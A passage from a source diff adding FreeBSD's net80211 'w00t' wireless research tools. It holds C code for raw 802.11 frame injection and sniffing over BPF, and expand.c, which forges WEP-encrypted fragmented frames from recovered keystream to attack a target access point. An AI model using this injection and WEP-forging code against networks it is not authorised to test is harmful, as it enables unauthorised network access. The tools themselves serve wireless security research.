|
||||
printf("Sending auth to %s\n", apmac);
|
||||
send_auth(&p);
|
||||
p.state = S_WAIT_AUTH;
|
||||
if (gettimeofday(&start, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
} while(0);
|
||||
break;
|
||||
|
||||
case S_WAIT_AUTH:
|
||||
if (get_auth(&p)) {
|
||||
p.state = S_SEND_ASSOC;
|
||||
}
|
||||
break;
|
||||
|
||||
case S_SEND_ASSOC:
|
||||
printf("Sending assoc\n");
|
||||
send_assoc(&p);
|
||||
p.state = S_WAIT_ASSOC;
|
||||
if (gettimeofday(&start, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
break;
|
||||
|
||||
case S_WAIT_ASSOC:
|
||||
if (get_assoc(&p)) {
|
||||
printf("Associated\n");
|
||||
p.state = S_ASSOCIATED;
|
||||
}
|
||||
break;
|
||||
|
||||
case S_ASSOCIATED:
|
||||
do {
|
||||
fd_set fds;
|
||||
int max;
|
||||
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(p.rx, &fds);
|
||||
FD_SET(p.tap, &fds);
|
||||
max = (p.rx > p.tap) ? p.rx : p.tap;
|
||||
|
||||
max = select(max+1, &fds, NULL, NULL, NULL);
|
||||
if (max == -1)
|
||||
err(1, "select()");
|
||||
|
||||
if (FD_ISSET(p.tap, &fds)) {
|
||||
read_tap(&p);
|
||||
p.state = S_SEND_DATA;
|
||||
}
|
||||
if (FD_ISSET(p.rx, &fds)) {
|
||||
read_wifi(&p);
|
||||
}
|
||||
} while(0);
|
||||
break;
|
||||
|
||||
case S_SEND_DATA:
|
||||
send_frame(&p, p.packet, p.packet_len);
|
||||
do {
|
||||
struct ieee80211_frame *wh;
|
||||
|
||||
wh = (struct ieee80211_frame*) p.packet;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_RETRY;
|
||||
} while (0);
|
||||
p.state = S_WAIT_ACK;
|
||||
if (gettimeofday(&start, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
break;
|
||||
|
||||
case S_WAIT_ACK:
|
||||
read_wifi(&p);
|
||||
break;
|
||||
|
||||
default:
|
||||
printf("Unknown state %d\n", p.state);
|
||||
abort();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
exit(0);
|
||||
}
|
7
tools/tools/net80211/w00t/expand/Makefile
Normal file
7
tools/tools/net80211/w00t/expand/Makefile
Normal file
@ -0,0 +1,7 @@
|
||||
# $FreeBSD$
|
||||
|
||||
.include <../Makefile.inc>
|
||||
|
||||
PROG= expand
|
||||
|
||||
.include <bsd.prog.mk>
|
468
tools/tools/net80211/w00t/expand/expand.c
Normal file
468
tools/tools/net80211/w00t/expand/expand.c
Normal file
@ -0,0 +1,468 @@
|
||||
/*-
|
||||
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD$
|
||||
*/
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/uio.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in_systm.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <assert.h>
|
||||
#include <zlib.h>
|
||||
#include "w00t.h"
|
||||
|
||||
enum {
|
||||
S_START = 0,
|
||||
S_WAIT_RELAY,
|
||||
};
|
||||
|
||||
struct queue {
|
||||
struct ieee80211_frame *wh;
|
||||
int len;
|
||||
|
||||
char *buf;
|
||||
int live;
|
||||
struct queue *next;
|
||||
};
|
||||
|
||||
struct params {
|
||||
int rx;
|
||||
int tx;
|
||||
|
||||
int tap;
|
||||
|
||||
char mcast[5];
|
||||
char mac[6];
|
||||
char ap[6];
|
||||
|
||||
char prga[2048];
|
||||
int prga_len;
|
||||
|
||||
int state;
|
||||
|
||||
struct queue *q;
|
||||
|
||||
char packet[2048];
|
||||
int packet_len;
|
||||
struct timeval last;
|
||||
|
||||
int seq;
|
||||
|
||||
unsigned char guess;
|
||||
};
|
||||
|
||||
int wanted(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
char *bssid, *sa;
|
||||
|
||||
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
|
||||
bssid = wh->i_addr1;
|
||||
sa = wh->i_addr2;
|
||||
}
|
||||
else {
|
||||
bssid = wh->i_addr2;
|
||||
sa = wh->i_addr3;
|
||||
}
|
||||
|
||||
if (memcmp(bssid, p->ap, 6) != 0)
|
||||
return 0;
|
||||
|
||||
if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
|
||||
printf("Got non WEP packet...\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* my own shit */
|
||||
if (memcmp(p->mac, sa, 6) == 0)
|
||||
return 0;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
struct queue *q = p->q;
|
||||
int qlen = 0;
|
||||
char *ret = NULL;
|
||||
struct queue *last = NULL;
|
||||
|
||||
/* find a slot */
|
||||
while (q) {
|
||||
if (q->live)
|
||||
qlen++;
|
||||
else {
|
||||
/* recycle */
|
||||
ret = q->buf;
|
||||
break;
|
||||
}
|
||||
|
||||
last = q;
|
||||
q = q->next;
|
||||
}
|
||||
|
||||
/* need to create slot */
|
||||
if (!q) {
|
||||
q = (struct queue*) malloc(sizeof(*q));
|
||||
if (!q)
|
||||
err(1, "malloc()");
|
||||
memset(q, 0, sizeof(*q));
|
||||
|
||||
/* insert */
|
||||
if (!p->q)
|
||||
p->q = q;
|
||||
else {
|
||||
assert(last);
|
||||
last->next = q;
|
||||
}
|
||||
}
|
||||
|
||||
q->live = 1;
|
||||
q->buf = *buf;
|
||||
q->len = len;
|
||||
q->wh = wh;
|
||||
|
||||
qlen++;
|
||||
|
||||
if (qlen > 5)
|
||||
printf("Enque. Size: %d\n", qlen);
|
||||
*buf = ret;
|
||||
}
|
||||
|
||||
void send_packet(struct params *p)
|
||||
{
|
||||
int rc;
|
||||
|
||||
rc = inject(p->tx, p->packet, p->packet_len);
|
||||
if (rc == -1)
|
||||
err(1, "inject()");
|
||||
if (rc != p->packet_len) {
|
||||
printf("Wrote %d/%d\n", rc, p->packet_len);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (gettimeofday(&p->last, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
}
|
||||
#include <openssl/rc4.h>
|
||||
void send_mcast(struct params *p, unsigned char x)
|
||||
{
|
||||
struct ieee80211_frame *wh;
|
||||
short *seq;
|
||||
struct queue *q = p->q;
|
||||
char *data, *ptr;
|
||||
int len;
|
||||
uLong crc = crc32(0L, Z_NULL, 0);
|
||||
uLong *pcrc;
|
||||
int i;
|
||||
int need_frag = 0;
|
||||
char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00";
|
||||
|
||||
assert(q);
|
||||
|
||||
/* 802.11 */
|
||||
memset(p->packet, 0, sizeof(p->packet));
|
||||
wh = (struct ieee80211_frame*) p->packet;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_WEP;
|
||||
|
||||
wh->i_dur[0] = 0x69;
|
||||
|
||||
memcpy(wh->i_addr1, p->ap, 6);
|
||||
memcpy(wh->i_addr2, p->mac, 6);
|
||||
memcpy(wh->i_addr3, p->mcast, 5);
|
||||
wh->i_addr3[5] = x;
|
||||
|
||||
seq = (short*) wh->i_seq;
|
||||
*seq = seqfn(p->seq++, 0);
|
||||
|
||||
/* IV */
|
||||
data = (char*) (wh+1);
|
||||
ptr = (char*) (q->wh+1);
|
||||
memcpy(data, ptr, 3);
|
||||
|
||||
if (p->prga_len == 0) {
|
||||
|
||||
RC4_KEY k;
|
||||
unsigned char key[8];
|
||||
|
||||
memset(&key[3], 0x61, 5);
|
||||
memcpy(key, (q->wh+1), 3);
|
||||
p->prga_len = 128;
|
||||
|
||||
RC4_set_key(&k, 8, key);
|
||||
memset(p->prga, 0, sizeof(p->prga));
|
||||
RC4(&k, p->prga_len, p->prga, p->prga);
|
||||
|
||||
|
||||
#if 0
|
||||
int ptl = q->len;
|
||||
char *pt;
|
||||
|
||||
pt = known_pt(q->wh, &ptl);
|
||||
ptr += 4;
|
||||
p->prga_len = ptl;
|
||||
for (i = 0; i < p->prga_len; i++)
|
||||
p->prga[i] = ptr[i] ^ pt[i];
|
||||
#endif
|
||||
}
|
||||
|
||||
/* data */
|
||||
data += 4;
|
||||
memcpy(data, payload, sizeof(payload));
|
||||
p->prga_len = 12;
|
||||
len = p->prga_len + 1 - 4;
|
||||
|
||||
#if 1
|
||||
if (len < sizeof(payload)) {
|
||||
need_frag = len;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* crc */
|
||||
pcrc = (uLong*) (data+len);
|
||||
*pcrc = crc32(crc, data, len);
|
||||
|
||||
/* wepify */
|
||||
len += 4;
|
||||
for (i = 0; i < (len); i++) {
|
||||
assert( i <= p->prga_len);
|
||||
data[i] ^= p->prga[i];
|
||||
}
|
||||
// data[i] ^= x;
|
||||
|
||||
len += sizeof(*wh);
|
||||
p->packet_len = len + 4;
|
||||
send_packet(p);
|
||||
|
||||
/* the data we sent is too fucking short */
|
||||
if (need_frag) {
|
||||
memset(data, 0, len);
|
||||
|
||||
/* 802.11 */
|
||||
*seq = seqfn(p->seq-1, 1);
|
||||
wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
|
||||
|
||||
/* data */
|
||||
len = sizeof(payload) - need_frag;
|
||||
assert(len > 0 && len <= (p->prga_len - 4));
|
||||
memcpy(data, &payload[need_frag], len);
|
||||
|
||||
/* crc */
|
||||
crc = crc32(0L, Z_NULL, 0);
|
||||
len = p->prga_len - 4;
|
||||
pcrc = (uLong*) (data+len);
|
||||
*pcrc = crc32(crc, data, len);
|
||||
|
||||
/* wepify */
|
||||
len += 4;
|
||||
for (i = 0; i < len; i++) {
|
||||
assert( i < p->prga_len);
|
||||
data[i] ^= p->prga[i];
|
||||
}
|
||||
|
||||
len += sizeof(*wh) + 4;
|
||||
p->packet_len = len;
|
||||
send_packet(p);
|
||||
}
|
||||
}
|
||||
|
||||
void send_queue(struct params *p)
|
||||
{
|
||||
struct queue *q = p->q;
|
||||
int i;
|
||||
|
||||
assert(q);
|
||||
assert(q->live);
|
||||
|
||||
for (i = 0; i < 5; i++) {
|
||||
send_mcast(p, p->guess++);
|
||||
}
|
||||
|
||||
p->state = S_WAIT_RELAY;
|
||||
}
|
||||
|
||||
void got_mcast(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
printf("ao\n");
|
||||
}
|
||||
|
||||
void read_wifi(struct params *p)
|
||||
{
|
||||
static char *buf = 0;
|
||||
static int buflen = 4096;
|
||||
struct ieee80211_frame *wh;
|
||||
int rc;
|
||||
|
||||
if (!buf) {
|
||||
buf = (char*) malloc(buflen);
|
||||
if (!buf)
|
||||
err(1, "malloc()");
|
||||
}
|
||||
|
||||
rc = sniff(p->rx, buf, buflen);
|
||||
if (rc == -1)
|
||||
err(1, "sniff()");
|
||||
|
||||
wh = get_wifi(buf, &rc);
|
||||
if (!wh)
|
||||
return;
|
||||
|
||||
/* relayed macast */
|
||||
if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
|
||||
IEEE80211_FC0_SUBTYPE_DATA) &&
|
||||
(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
|
||||
(memcmp(wh->i_addr2, p->ap, 6) == 0) &&
|
||||
(memcmp(wh->i_addr1, p->mcast, 5) == 0) &&
|
||||
(memcmp(p->mac, wh->i_addr3, 6) == 0)) {
|
||||
got_mcast(p, wh, rc);
|
||||
return;
|
||||
}
|
||||
|
||||
/* data */
|
||||
if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
|
||||
IEEE80211_FC0_SUBTYPE_DATA)) {
|
||||
if (!wanted(p, wh, rc))
|
||||
return;
|
||||
|
||||
enque(p, &buf, wh, rc);
|
||||
if (p->state == S_START)
|
||||
send_queue(p);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void own(struct params *p)
|
||||
{
|
||||
struct timeval tv;
|
||||
struct timeval *to = NULL;
|
||||
fd_set fds;
|
||||
int tout = 10*1000;
|
||||
|
||||
if (p->state == S_WAIT_RELAY) {
|
||||
int el;
|
||||
|
||||
/* check timeout */
|
||||
if (gettimeofday(&tv, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
|
||||
el = elapsed(&p->last, &tv);
|
||||
|
||||
/* timeout */
|
||||
if (el >= tout) {
|
||||
if (p->q && p->q->live) {
|
||||
send_queue(p);
|
||||
el = 0;
|
||||
} else {
|
||||
p->state = S_START;
|
||||
return;
|
||||
}
|
||||
}
|
||||
el = tout - el;
|
||||
tv.tv_sec = el/1000/1000;
|
||||
tv.tv_usec = el - tv.tv_sec*1000*1000;
|
||||
to = &tv;
|
||||
}
|
||||
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(p->rx, &fds);
|
||||
|
||||
if (select(p->rx+1, &fds, NULL, NULL, to) == -1)
|
||||
err(1, "select()");
|
||||
|
||||
if (FD_ISSET(p->rx, &fds))
|
||||
read_wifi(p);
|
||||
}
|
||||
|
||||
void usage(char *name)
|
||||
{
|
||||
printf("Usage %s <opts>\n"
|
||||
"-h\thelp\n"
|
||||
"-b\t<bssid>\n"
|
||||
"-t\t<tap>\n"
|
||||
, name);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
struct params p;
|
||||
char *iface = "ath0";
|
||||
char *tap = "tap0";
|
||||
int ch;
|
||||
|
||||
memset(&p, 0, sizeof(p));
|
||||
memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
|
||||
p.seq = getpid();
|
||||
memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5);
|
||||
|
||||
while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
|
||||
switch (ch) {
|
||||
case 't':
|
||||
tap = optarg;
|
||||
break;
|
||||
|
||||
case 'b':
|
||||
if (str2mac(p.ap, optarg) == -1) {
|
||||
printf("Can't parse BSSID\n");
|
||||
exit(1);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'h':
|
||||
default:
|
||||
usage(argv[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if ((p.rx = open_rx(iface)) == -1)
|
||||
err(1, "open_rx()");
|
||||
if ((p.tx = open_tx(iface)) == -1)
|
||||
err(1, "open_tx()");
|
||||
|
||||
if ((p.tap = open_tap(tap)) == -1)
|
||||
err(1, "open_tap()");
|
||||
if (set_iface_mac(tap, p.mac) == -1)
|
||||
err(1, "set_iface_mac()");
|
||||
|
||||
p.state = S_START;
|
||||
while (1)
|
||||
own(&p);
|
||||
|
||||
exit(0);
|
||||
}
|
7
tools/tools/net80211/w00t/libw00t/Makefile
Normal file
7
tools/tools/net80211/w00t/libw00t/Makefile
Normal file
@ -0,0 +1,7 @@
|
||||
# $FreeBSD$
|
||||
|
||||
LIB= w00t
|
||||
SRCS= w00t.c
|
||||
INTERNALLIB= true
|
||||
|
||||
.include <bsd.lib.mk>
|
414
tools/tools/net80211/w00t/libw00t/w00t.c
Normal file
414
tools/tools/net80211/w00t/libw00t/w00t.c
Normal file
@ -0,0 +1,414 @@
|
||||
/*-
|
||||
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD$
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/endian.h>
|
||||
#include <sys/uio.h>
|
||||
#include <unistd.h>
|
||||
#include <net/if.h>
|
||||
#include <string.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <net/bpf.h>
|
||||
#include <net80211/ieee80211_radiotap.h>
|
||||
#include <net80211/ieee80211.h>
|
||||
#include <openssl/rc4.h>
|
||||
#include <zlib.h>
|
||||
#include "w00t.h"
|
||||
|
||||
int str2mac(char *mac, char *str)
|
||||
{
|
||||
unsigned int macf[6];
|
||||
int i;
|
||||
|
||||
if (sscanf(str, "%x:%x:%x:%x:%x:%x",
|
||||
&macf[0], &macf[1], &macf[2],
|
||||
&macf[3], &macf[4], &macf[5]) != 6)
|
||||
return -1;
|
||||
|
||||
for (i = 0; i < 6; i++)
|
||||
*mac++ = (char) macf[i];
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void mac2str(char *str, char* m)
|
||||
{
|
||||
unsigned char *mac = m;
|
||||
sprintf(str, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
|
||||
short seqfn(unsigned short seq, unsigned short fn)
|
||||
{
|
||||
unsigned short r = 0;
|
||||
|
||||
assert(fn < 16);
|
||||
|
||||
r = fn;
|
||||
r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned short seqno(struct ieee80211_frame *wh)
|
||||
{
|
||||
unsigned short *s = (unsigned short*) wh->i_seq;
|
||||
|
||||
return (*s & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
|
||||
}
|
||||
|
||||
int open_bpf(char *dev, int dlt)
|
||||
{
|
||||
int i;
|
||||
char buf[64];
|
||||
int fd = -1;
|
||||
struct ifreq ifr;
|
||||
|
||||
for(i = 0;i < 16; i++) {
|
||||
sprintf(buf, "/dev/bpf%d", i);
|
||||
|
||||
fd = open(buf, O_RDWR);
|
||||
if(fd == -1) {
|
||||
if(errno != EBUSY)
|
||||
return -1;
|
||||
continue;
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
|
||||
if(fd == -1)
|
||||
return -1;
|
||||
|
||||
strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
|
||||
ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
|
||||
|
||||
if(ioctl(fd, BIOCSETIF, &ifr) < 0)
|
||||
return -1;
|
||||
|
||||
if (ioctl(fd, BIOCSDLT, &dlt) < 0)
|
||||
return -1;
|
||||
|
||||
i = 1;
|
||||
if (ioctl(fd, BIOCIMMEDIATE, &i) < 0)
|
||||
return -1;
|
||||
|
||||
return fd;
|
||||
}
|
||||
|
||||
int open_tx(char *iface)
|
||||
{
|
||||
return open_bpf(iface, DLT_IEEE802_11_RADIO);
|
||||
}
|
||||
|
||||
int open_rx(char *iface)
|
||||
{
|
||||
return open_bpf(iface, DLT_IEEE802_11_RADIO);
|
||||
}
|
||||
|
||||
int open_rxtx(char *iface, int *rx, int *tx)
|
||||
{
|
||||
*rx = open_bpf(iface, DLT_IEEE802_11_RADIO);
|
||||
*tx = *rx;
|
||||
|
||||
return *rx;
|
||||
}
|
||||
|
||||
int inject(int fd, void *buf, int len)
|
||||
{
|
||||
return inject_params(fd, buf, len, NULL);
|
||||
}
|
||||
|
||||
int inject_params(int fd, void *buf, int len,
|
||||
struct ieee80211_bpf_params *params)
|
||||
{
|
||||
static struct ieee80211_bpf_params defaults = {
|
||||
.ibp_vers = IEEE80211_BPF_VERSION,
|
||||
/* NB: no need to pass series 2-4 rate+try */
|
||||
.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
|
||||
.ibp_rate1 = 2, /* 1 MB/s XXX */
|
||||
.ibp_try1 = 1, /* no retransmits */
|
||||
.ibp_flags = IEEE80211_BPF_NOACK,
|
||||
.ibp_power = 100, /* nominal max */
|
||||
.ibp_pri = WME_AC_VO, /* high priority */
|
||||
};
|
||||
struct iovec iov[2];
|
||||
int rc;
|
||||
|
||||
if (params == NULL)
|
||||
params = &defaults;
|
||||
iov[0].iov_base = params;
|
||||
iov[0].iov_len = params->ibp_len;
|
||||
iov[1].iov_base = buf;
|
||||
iov[1].iov_len = len;
|
||||
|
||||
rc = writev(fd, iov, 2);
|
||||
if (rc == -1)
|
||||
return rc;
|
||||
|
||||
rc -= iov[0].iov_len; /* XXX could be negative */
|
||||
return rc;
|
||||
}
|
||||
|
||||
int sniff(int fd, void *buf, int len)
|
||||
{
|
||||
return read(fd, buf, len);
|
||||
}
|
||||
|
||||
void *get_wifi(void *buf, int *len)
|
||||
{
|
||||
#define BIT(n) (1<<(n))
|
||||
struct bpf_hdr* bpfh = (struct bpf_hdr*) buf;
|
||||
struct ieee80211_radiotap_header* rth;
|
||||
uint32_t present;
|
||||
uint8_t rflags;
|
||||
void *ptr;
|
||||
|
||||
/* bpf */
|
||||
*len -= bpfh->bh_hdrlen;
|
||||
|
||||
if (bpfh->bh_caplen != *len) {
|
||||
assert(bpfh->bh_caplen < *len);
|
||||
*len = bpfh->bh_caplen;
|
||||
}
|
||||
assert(bpfh->bh_caplen == *len);
|
||||
|
||||
/* radiotap */
|
||||
rth = (struct ieee80211_radiotap_header*)
|
||||
((char*)bpfh + bpfh->bh_hdrlen);
|
||||
/* XXX cache; drivers won't change this per-packet */
|
||||
/* check if FCS/CRC is included in packet */
|
||||
present = le32toh(rth->it_present);
|
||||
if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
|
||||
if (present & BIT(IEEE80211_RADIOTAP_TSFT))
|
||||
rflags = ((const uint8_t *)rth)[8];
|
||||
else
|
||||
rflags = ((const uint8_t *)rth)[0];
|
||||
} else
|
||||
rflags = 0;
|
||||
*len -= rth->it_len;
|
||||
|
||||
/* 802.11 CRC */
|
||||
if (rflags & IEEE80211_RADIOTAP_F_FCS)
|
||||
*len -= IEEE80211_CRC_LEN;
|
||||
|
||||
ptr = (char*)rth + rth->it_len;
|
||||
return ptr;
|
||||
#undef BIT
|
||||
}
|
||||
|
||||
int send_ack(int fd, char *mac)
|
||||
{
|
||||
static char buf[2+2+6];
|
||||
static char *p = 0;
|
||||
int rc;
|
||||
|
||||
if (!p) {
|
||||
memset(buf, 0, sizeof(buf));
|
||||
buf[0] |= IEEE80211_FC0_TYPE_CTL | IEEE80211_FC0_SUBTYPE_ACK;
|
||||
p = &buf[4];
|
||||
}
|
||||
|
||||
memcpy(p, mac, 6);
|
||||
|
||||
rc = inject(fd, buf, sizeof(buf));
|
||||
return rc;
|
||||
}
|
||||
|
||||
int open_tap(char *iface)
|
||||
{
|
||||
char buf[64];
|
||||
|
||||
snprintf(buf, sizeof(buf), "/dev/%s", iface);
|
||||
return open(buf, O_RDWR);
|
||||
}
|
||||
|
||||
int set_iface_mac(char *iface, char *mac)
|
||||
{
|
||||
int s, rc;
|
||||
struct ifreq ifr;
|
||||
|
||||
s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1)
|
||||
return -1;
|
||||
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
strcpy(ifr.ifr_name, iface);
|
||||
|
||||
ifr.ifr_addr.sa_family = AF_LINK;
|
||||
ifr.ifr_addr.sa_len = 6;
|
||||
memcpy(ifr.ifr_addr.sa_data, mac, 6);
|
||||
|
||||
rc = ioctl(s, SIOCSIFLLADDR, &ifr);
|
||||
|
||||
close(s);
|
||||
|
||||
return rc;
|
||||
}
|
||||
|
||||
int str2wep(char *wep, int *len, char *str)
|
||||
{
|
||||
int klen;
|
||||
|
||||
klen = strlen(str);
|
||||
if (klen % 2)
|
||||
return -1;
|
||||
klen /= 2;
|
||||
|
||||
if (klen != 5 && klen != 13)
|
||||
return -1;
|
||||
|
||||
*len = klen;
|
||||
|
||||
while (klen--) {
|
||||
unsigned int x;
|
||||
|
||||
if (sscanf(str, "%2x", &x) != 1)
|
||||
return -1;
|
||||
|
||||
*wep = (unsigned char) x;
|
||||
wep++;
|
||||
str += 2;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int wep_decrypt(struct ieee80211_frame *wh, int len, char *key, int klen)
|
||||
{
|
||||
RC4_KEY k;
|
||||
char seed[64];
|
||||
char *p = (char*) (wh+1);
|
||||
uLong crc = crc32(0L, Z_NULL, 0);
|
||||
uLong *pcrc;
|
||||
|
||||
assert(sizeof(seed) >= klen + 3);
|
||||
memcpy(seed, p, 3);
|
||||
memcpy(&seed[3], key, klen);
|
||||
|
||||
RC4_set_key(&k, klen+3, seed);
|
||||
|
||||
len -= sizeof(*wh);
|
||||
len -= 4;
|
||||
p += 4;
|
||||
RC4(&k, len, p, p);
|
||||
|
||||
crc = crc32(crc, p, len - 4);
|
||||
pcrc = (uLong*) (p+len-4);
|
||||
|
||||
if (*pcrc == crc)
|
||||
return 0;
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
void wep_encrypt(struct ieee80211_frame *wh, int len, char *key, int klen)
|
||||
{
|
||||
RC4_KEY k;
|
||||
char seed[64];
|
||||
char *p = (char*) (wh+1);
|
||||
uLong crc = crc32(0L, Z_NULL, 0);
|
||||
uLong *pcrc;
|
||||
|
||||
assert(sizeof(seed) >= klen + 3);
|
||||
memcpy(seed, p, 3);
|
||||
memcpy(&seed[3], key, klen);
|
||||
|
||||
RC4_set_key(&k, klen+3, seed);
|
||||
|
||||
len -= sizeof(*wh);
|
||||
p += 4;
|
||||
crc = crc32(crc, p, len - 4);
|
||||
pcrc = (uLong*) (p+len-4);
|
||||
*pcrc = crc;
|
||||
|
||||
RC4(&k, len, p, p);
|
||||
}
|
||||
|
||||
int frame_type(struct ieee80211_frame *wh, int type, int stype)
|
||||
{
|
||||
if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) != type)
|
||||
return 0;
|
||||
|
||||
if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) != stype)
|
||||
return 0;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
void hexdump(void *b, int len)
|
||||
{
|
||||
unsigned char *p = (unsigned char*) b;
|
||||
|
||||
while (len--)
|
||||
printf("%.2X ", *p++);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
int elapsed(struct timeval *past, struct timeval *now)
|
||||
{
|
||||
int el;
|
||||
